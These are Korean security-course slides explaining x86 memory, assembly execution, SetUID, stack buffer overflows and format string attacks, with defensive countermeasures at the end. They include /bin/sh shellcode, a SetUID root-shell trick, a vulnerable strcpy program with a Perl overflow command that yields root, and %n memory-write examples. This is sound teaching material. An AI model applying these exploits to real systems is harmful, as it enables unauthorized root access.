Chapter 05. 코드 보안 : 코드 속에 뒷길을 만드는 기술
시스템과 프로그램에 대한 이해 버퍼 오버플로우 공격 포맷 스트링 공격
컴퓨터의 기본 구조를 살펴본다. 기계어 수준에서의 프로그램 동작을 이해한다. 버퍼 오버플로우와 포맷 스트링 공격의 원리를 이해한다.
01 시스템과 프로그램에 대한 이해 하드웨어(Hardware)와 소프트웨어(Software)의 연관 관계 보안에 가장 취약한 부분은 소스코드 소스코드의 문제를 발생시키는 요인은 ‘데이터의 형태와 길이에 대한 불명확한 정의’ 불명확한 정의의 예 아이에게 장보기 심부름을 시키면서 사올 물품의 종류와 가격을 불명확하게 정의하는 것 [그림 5-1] 불명확한 명령을 내린 예
01 시스템과 프로그램에 대한 이해 시스템 메모리의 구조 어떤 프로그램을 동작시키면 메모리에 프로그램이 동작하기 위한 가상의 메모리 공간이 생성됨. 그 메모리 공간은 다시 목적에 따라 상위 메모리와 하위 메모리로 나눔. 스택 영역과 힙 영역 상위 메모리 : 스택(Stack)이라는 메모리 공간이 형성되고, 프로그램 로직이 동작하기 위한 인자 (Argument) 와 프로세스 상태를 저장하는 데 사용됨. 하위 메모리 : 힙(Heap)이 생성되고, 프로그램이 동작할 때 필요한 데이터 정보를 임시로 저장하는 데 사용됨. [그림 5-2] 메모리의 기본 구조
01 시스템과 프로그램에 대한 이해 시스템 메모리의 구조 [표 5-1] 80x86 CPU의 레지스터 범주 80386 레지스터 이름 비트 용도 범용 세그먼트 (General Register) EAX 누산기(Accmulator) 32 주로 산술 연산에 사용(함수의 결과 값 저장) EBX 베이스 레지스터(Base Register) 특정 주소 저장(주소 지정을 확대하기 위한 인덱스로 사용) ECX 카운트 레지스터(Count Register) 반복적으로 실행되는 특정 명령에 사용(루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억) EDX 데이터 레지스터(Data Register) 일반 자료 저장(입출력 동작에 사용) (Segment CS 코드 세그먼트 레지스터 (Code Segment Register) 16 실행될 기계 명령어가 저장된 메모리 주소 지정 DS 데이터 세그먼트 레지스터 (Data Segment Register) 프로그램에서 정의된 데이터, 상수, 작업 영역의 메모리 주소 지정 DD 스택 세그먼트 레지스터 (Stack Segment Register) 프로그램이 임시로 저장할 필요가 있거나 사용자의 피호출 서브루틴이 사용할 데이터와 주소 포함 ES, FS,GS 엑스트라 세그먼트 레지스터 (Extra Segment Register) 문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터 포인터 (Pointer EBP 베이스 포인터(Base Pointer) SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용 ESP 스택 포인터(Stack Pointer) SS 레지스터와 함께 사용되며, 스택의 가장 끝 주소를 가리킴 EIP 명령 포인터(Instruction Pointer) 다음 명령어의 오프셋(상대 위치 주소)를 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성 인덱스 EDI 목적지 인덱스(Destination Index) 목적지 주소에 대한 값 저장 ESI 출발지 인덱스(Source Index) 출발지 주소에 대한 값 저장 플래그 레지스터 EFLAGS 플래그 레지스터(Flag Register) 연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 main 함수와 덧셈을 하는 function이라는 서브루틴이 있는 프로그램 어셈블리어로 된 코드를 생성 sample.c void main() { int c; c=function(1, 2); } int function(int a, int b){ char buffer[10]; a=a+b; return a; gcc -S -o sample.a sample.c vi sample.a
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 sample.a .file "sample.c" .version "01.01" gcc2_compiled.: .text .align 4 .globl main .type main,@function main: pushl %ebp ---------------------------------- movl %esp,%ebp ---------------------------- subl $4,%esp --------------------------------- pushl $2 -------------------------------------- pushl $1 -------------------------------------- call function ---------------------------------- addl $8,%esp -------------------------------- movl %eax,%eax ----------------------------- movl %eax,-4(%ebp) ------------------------- .L1: leave ------------------------------------------ ret ---------------------------------------------
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 sample.a .Lfe1: .size main,.Lfe1-main .align 4 .globl function .type function,@function function: pushl %ebp ----------------------------------- movl %esp,%ebp ----------------------------- subl $12,%esp -------------------------------- movl 12(%ebp),%eax ------------------------- addl %eax,8(%ebp) --------------------------- movl 8(%ebp),%edx ------------------------- - movl %edx,%eax ------------------------------ jmp .L2 ---------------------------------------- .p2align 4,,7 .L2: leave ------------------------------------------ ret --------------------------------------------- .Lfe2: .size function,.Lfe2-function . ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)“
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl %ebp 메인 함수가 종료될 때 프로세스가 복귀할 주소(ret)가 스택에 저장 ebp는 함수 시작 전의 기준점 스택에 저장된 ebp를 SFP(Saved Frame Pointer)라고 부름. RET(Return Address)에는 함수 종료 시 점프할 주소 값이 저장됨. [그림 5-4] pushl %ebp 실행시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %esp, %ebp esp 값을 ebp로 이동(move)하는 것으로, 현재의 esp 값을 ebp 레지스터에 저장. esp는 스택의 항상 가장 하위 메모리 주소를 가리키는 주소값) Subl $4, %esp esp에서 4바이트를 뺀다(subtraction). 스택에 4바이트(int 형은 4바이트)의 빈 공간을 할당 [그림 5-5] movl %esp, %ebp 실행 시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl $2 : 스택에 정수 2를 저장 call function : function 함수를 호출 ~ 세 단계는 function(1,2)에 대한 코드 [그림 5-6] pushl $2, pushl $1, call function 실행 시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 pushl %ebp : 현재 레지스터의 ebp 값을 스택에 저장
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %esp,%ebp function(1, 2)의 시작에서도 프롤로그(pushl %ebp 명령과 movl %esp,%ebp)가 실행 [그림 5-8] movl %esp,%ebp 실행 시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 subl $12,%esp esp 값(char buffer[10] 할당 값)에서 12바이트 만큼을 뺀다(스택에 12바이트 만큼의 용량을 할당한다.). char buffer는 10바이트 만큼 할당되도록 했으나, 스택에서는 4바이트 단위로 할당되므로 12바이트가 할당 [그림 5-9] subl $12,%esp 실행 시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl 12(%ebp),%eax
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 addl %eax,8(%ebp) ebp에 8바이트를 더한 주소 값의 내용(정수 1)에 eax(단계 10에서 2로 저장됨) 값을 더함. 8(%ebp) 값은 3이 됨. [그림 5-11] addl %eax,8(%ebp) 실행 시 스택의 구조
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl 8(%ebp),%edx
01 시스템과 프로그램에 대한 이해 프로그램의 실행 구조 movl %edx,%eax : edx에 저장된 정수 3을 eax로 복사 jmp .L1 : L1로 점프 leave : 함수를 끝냄. ret : function 함수를 마치고 function 함수에 저장된 ebp 값을 제거 main 함수의 원래 ebp 값으로 ebp 레지스터 값을 변경 addl $8,%esp : esp에 8바이트를 더함. movl %eax,%eax : eax 값을 eax로 복사(사실상 의미는 없음) movl %eax,-4(%ebp) : ebp에서 4바이트를 뺀 주소 값(int c)에 eax 값을 복사 leave ret : 모든 과정을 마치고 프로그램을 종료
01 시스템과 프로그램에 대한 이해 셸 운영체제를 둘러싸고 있으면서 입력받는 명령어를 실행시키는 명령어 해석기 본 셸, 콘 셸, C 셸로 나눌 수 있고, 본 셸은 유닉스 시스템에서 사용하는 기본 셸임. 셸의 역할 자체의 내장 명령어 제공 입력/출력/오류의 리다이렉션(Redirection) 기능 제공 wildcard 기능 제공 파이프라인 기능 제공 조건부/무조건부 명령열(Sequences) 작성 기능 제공 서브셸(Subshell) 생성 기능 제공 후면 처리(Background Processing) 가능 셸 스크립트(Shell Script, 프로그램) 작성 가능 [그림 5-13] 유닉스 계열의 시스템에서 셸의 역할
01 시스템과 프로그램에 대한 이해 셸 셸은 /bin/sh 명령으로 실행 exit 명령을 통해 해당 셸을 빠져나올 수 있음. [그림 5-14] 레드햇 6.2에서 본 셸의 실행과 취소 "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68";
01 시스템과 프로그램에 대한 이해 셸 shell.c char shell[]= 기계어 코드가 실제로 셸로 실행되는지 확인해보자. shell.c char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shell; } gcc -o shell -g -ggdb shell.c ./shell [그림 5-15] 기계어로 바꾼 shell을 실행한 결과
01 시스템과 프로그램에 대한 이해 프로세스 권한과 SetUID SetUID는 유닉스 시스템을 해킹하는 데 매우 중요한 요소로, 유닉스 파일에 rwsr-xr-x로 권한 설정이 되어 있음. 소유자 권한에서 x가 있을 자리에 s가 적혀 있음. SetUID 파일은 해당 파일이 실행될 때 누가 실행하든지 관계없이 파일 소유자의 권한을 갖는다는 특징이 있음. 해당 파일의 소유자가 root이면, 그 파일은 실행하는 사람이 누가 되었든지 파일이 실행되는 프로세스는 실 행시간 동안 파일 소유자인 root 권한으로 실행됨. 예) test라는 파일이 root 소유이며 SetUID 비트가 설정되어 있으면 [그림 5-16]과 같이 실행 SetUID 비트가 설정되어 있지 않다면 [그림 4-17]과 같이 실행 [그림 5-16] SetUID 설정 시 프로세스 권한 변경 [그림 5-17] SetUID 미설정 시 프로세스 권한
01 시스템과 프로그램에 대한 이해 프로세스 권한과 SetUID SetUID를 이용한 간단한 해킹 SetUID 부여 일반 사용자 권한에서 shell 파일을 실행 [그림 5-18] shell 파일에 SetUID 권한 부여 [그림 5-19] shell을 일반 사용자 권한에서 실행
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 개념 가장 기본 개념은‘덮어쓰기’ 정상적인 경우에는 사용되지 않아야 주소 공간, 즉 원래는 덮어쓸 수 없는 부분에 해커가 임의의 코드를 덮어 쓰는 것 버퍼 오버플로우는 프로그래머가 취약한 특정 함수를 사용해야 공격이 가능 [그림 5-20] 버퍼 오버플로우 공격의 개념
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 bugfile.c int main(int argc, char *argv[ ]) argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수 *argv[ ]는 포인터 배열로서 인자로 입력되는 값에 대한 번지수를 차례대로 저장 argv[0] : 실행 파일의 이름 argv[1] : 첫 번째 인자의 내용 argv[2] : 두 번째 인자의 내용 char buffer[10] : 10바이트 크기의 버퍼를 할당 strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1])를 복사(abcd 값을 버퍼에 저장) prinf(“%s\n”,&buffer) : 버퍼에 저장된 내용을 출력 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 일어남. bugfile.c int main(int argc, char *argv[]) { ------------ char buffer[10]; ------------------------------ strcpy(buffer, argv[1]); ----------------------- printf("%s\n", &buffer); --------------------- }
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 GDB를 이용하여 main 함수를 먼저 살펴보고 strcpy가 호출되는 과정을 살펴보자. 0x80483f8 <main> : push %ebp 0x80483f9 <main+1> : mov %esp,%ebp 스택에 ebp 값을 밀어넣고, 현재의 esp 값을 ebp 레지스터에 저장 0x80483fb <main+3> : sub $0xc,%esp main 함수의 char buffer[10];를 실행 명령은 char로 메모리에 10바이트를 할당 하였으나, 메모리에서는 모두 4바이트 단위 로 할당이 되니 실제로 할당되는 메모리는 12바이트가 됨. gcc -o bugfile bugfile.c gdb bugfile disass main [그림 5-22] main+3까지 실행 시 스택의 구조
버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x80483fe <main+6> : mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 eax 레지스터는 char *argv[]를 가리키고, eax에 argv[]에 대한 포인터 값이 저장. 0x8048401 <main+9> : add $0x4,%eax eax의 값을 4바이트 만큼 증가시킴. argv[ ]에 대한 포인터이므로 argv[1]을 가리킴. 0x8048404 <main+12> : mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지 스터에 저장 프로그램을 실행할 때 인수 부분을 가리킴. [그림 5-23] main+6까지 실행 시 스택의 구조
버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x8048406 <main+14> : push %edx 프로그램을 실행할 때 인수에 대한 포인터를 스택에 저장 인수를 주지 않고 프로그램을 실행시키면 0×0 값이 스택에 저장됨. 0x8048407 <main+15> : lea 0xfffffff4(%ebp),%eax eax 레지스터에 12(%ebp)의 주소 값을 저장 [그림 5-24] main+14까지 실행 시 스택의 구조
버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x804840a <main+18> : push %eax 스택에 이를 저장 0x804840b <main+19> : call 0x8048340 <strcpy> ~에서 strcpy(buffer, argv[1]);를 실행시키기 위해 buffer, argv[1]과 관련된 사항을 스택에 모두 상주시킴. 마지막으로 strcpy 명령을 호출 [그림 5-25] main+18까지 실행 시 스택의 구조
버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 0x8048340 <strcpy> : jmp *0x80494c0 버퍼 오버플로우 공격은 여기에서 일어남. strcpy 함수는 입력된 인수의 경계를 체크하지 않음. 인수는 buffer[10]으로 10바이트 길이를 넘지 않아야 하지만 이보다 큰 인수를 받아도 스택에 쓰게 됨. 13개의A를 인수로 쓰게 되면 A가 쌓임. [그림 5-26] A 문자 13개 입력 시 저장된 ebp 값 변조
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 실제로 컴파일하고 실행하면서 인수로 A를 충분히 많이 입력 bugfile은 관리자 권한으로 SetUID 권한을 부여(chmod 4755 bugfile 명령 실행) bugfile.c의 char buffer[10]이 할당되는 주소 공간이 12바이트, ebp가 저장되는 공간이 4바이트 A가 16개, 즉 16바이트(주소 공간 12바이트, ebp 저장 공간 4바이트)가 덮어씌워지고 결과적으로 스택의 ret 값을 침범하게 되어 일종의 오류가 생김. 일반적으로 공격에 egg shell 사용. Eggshell.c 는 기계어로 만든 코드를 메모리에 로드시켜주고 그 시작주소 가 어디인지 알려주는 툴 (gcc –o egg eggshell.c로 컴파일) ./bugfile AAAAAAAAAAAAAAA [그림 5-27] 입력 버퍼 이상의 문자열을 입력할 때 발생하는 세그먼테이션 오류 ./egg [그림 5-28] egg 셸의 실행
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 일반 사용자 권한으로 돌아가서 펄(Perl)을 이용해 A 문자열과 셸의 메모리 주소를 bugfile에 직접적으로 실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"' id [그림 5-29] 스택 버퍼 오버플로우 공격의 수행
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격의 원리 공격이 모두 끝나면 계정이 root로 바뀌어 있음. [그림 5-30] ebp 값을 지나 ret 값의 변조
02 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대응책 버퍼 오버플로우에 취약한 함수를 사용하지 않는다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(FILE *stream, const char *format, ...); scanf(const char *format, ...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 최신의 운영체제를 사용한다. 운영체제는 발전하면서 Non-Executable Stack, 스택 가드(Stack Guard), 스택 쉴드(Stack Shield)와 같이 운영 체제 내에서 해커의 공격코드가 실행되지 않도록 하는 여러 가지 장치가 있음.
03 포맷 스트링 공격 포맷 스트링 공격의 개념 formatstring.c #include <stdio.h> 포맷 스트링 공격은 데이터의 형태와 길이에 대한 불명확한 정의로 인한 문제점 중 ‘데이터 형태에 대한 불명확 한 정의’로 인한 것 formatstring.c #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } [표 5-2] 포맷 스트링 문자의 종류 파라미터 특징 %d 정수형 10진수 상수 (integer) %o 양의 정수 (8 진수) %f 실수형 상수 (float) %x 양의 정수 (16 진수) %lf 실수형 상수 (double) %s 문자열 문자 스트링 ((const)(unsigned) char *) %n * int (쓰인 총 바이트 수) %u 양의 정수 (10 진수) %hn %n의 반인 2바이트 단위
03 포맷 스트링 공격 포맷 스트링 공격의 원리 포맷 스트링의 동작 구조 char *buffer = "wishfree" formatstring.c의 코드를 간단히 분석해보자. “wishfree”라는 문자열에 대한 주소 값을 포인터로 지정 포인터(buffer)가 가르키는 주소에서 %s(문자 스트링)을 읽어서 출력(printf) char *buffer = "wishfree" printf("%s\n", buffer) [그림 5-31] formatstring.c 컴파일 및 실행 결과 [표 5-3] 포맷 스트링 구분 스파이 접선 formatstring.c 동작 접선자의 본명 원빈 버퍼의 주소에 위치한 실제 데이터 접선자의 암호명 홍길동 버퍼의 주소, *buffer(포인터) 신상착의 검은색 티셔츠와 푸른 색 반바지를 입은 동양인 남자 포맷 스트링, %s(데이터가 문자열임을 표시함) 접선자 접촉 wishfree에게 ‘당신이 검은색 티셔츠와 푸른 색 반바지를 입은 동양인 남자’의 접선자가 맞습니까? printf(“%s\n”, buffer) 접선자 확인 네, 제가 접선자이며 본명은 ‘원빈’입니다 wishfree
03 포맷 스트링 공격 포맷 스트링 공격의 원리 wrong.c #include <stdio.h> main(){ 취약한 포맷 스트링 wrong.c는 formatstring.c와 동일한 결과를 출력 wrong.c #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); } [그림 5-32] wrong.c 컴파일 및 실행
03 포맷 스트링 공격 포맷 스트링 공격의 원리 포맷 스트링 문자를 이용한 메모리 열람 wrong.c에서 char *buffer에 문자열을 입력할 때 %x라는 포맷 스트링 문자를 추가 test1.c를 컴파일하면 wishfree 문자열 이외에 8048440이라는 숫자가 출력된 것을 확인할 수 있음. test1.c #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); } [그림 5-33] test1.c 컴파일 및 실행
03 포맷 스트링 공격 포맷 스트링 공격의 원리 test2.c #include <stdio.h> main(){ 포맷 스트링 문자를 이용한 메모리 변조 printf("%64d%n\n", j, &i)은 j와 i의 주소 값에 64의 16진수 값을 입력함. test2.c를 컴파일하여 실행해보면 64 값이 16진수인 0x40로 출력되는 것을 확인할 수 있음. test2.c #include <stdio.h> main(){ long i=0x00000064, j=1; printf("i의 주소 : %x\n",&i); printf("i의 값 : %x\n",i); printf("%64d%n\n", j, &i); printf("변경된 i의 값 : %x\n",i); } %n 지시자는 %n이 사용되기 직전에 사용된 형식에 의해 출력된 문자들의 개수가 다음 변수에 저장된다. gcc -o test2 test2.c ./test2 [그림 5-34] test2의 실행 결과